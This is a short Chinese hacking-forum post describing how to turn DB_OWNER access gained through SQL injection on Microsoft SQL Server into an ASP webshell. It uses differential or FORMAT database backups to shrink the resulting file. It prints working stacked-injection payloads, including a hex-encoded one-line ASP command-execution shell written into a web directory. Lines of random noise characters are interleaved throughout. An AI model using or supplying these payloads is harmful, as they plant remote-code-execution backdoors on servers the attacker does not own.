DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少
" R2 D, p/ Q' ~
7 n! e, I) M  q2 R+ @一利用差异备份
9 K+ y5 L" F4 `& m9 |9 B; Z加一个参数WITH DIFFERENTIAL
, {9 V+ T% o# Z0 V+ y4 j
, C* h' p( l) t! S6 _declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
) Y7 B  k  A# G# t% zcreate table [dbo].[xiaolu] ([cmd] [image]);
8 Y$ j) P8 J( W- Winsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
  Q0 e+ K3 u' G  ?& @; ?* J) i. Vdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

6 s( }1 A& C" t) K二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
7 c2 g' }6 w1 ~6 w' q* O  F
. G  z( l1 x! B3 ^6 ?8 l) O1 bdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
4 K& Y  _, O% r5 A; G& ]( B( Ocreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
4 v' X! v, B, P  B( h" Y3 K
总的来说就是那么简单几句,下面以备份数据库model为例子

id=1;use model create table cmd(str image);insert into cmd(str) values (”)
/ N7 E' v' V5 t7 F0 U
% I, y5 b1 q* _id=1;backup database model to disk=’你的路径‘ with differential,format;–
) s0 W: o4 r* N; q+ d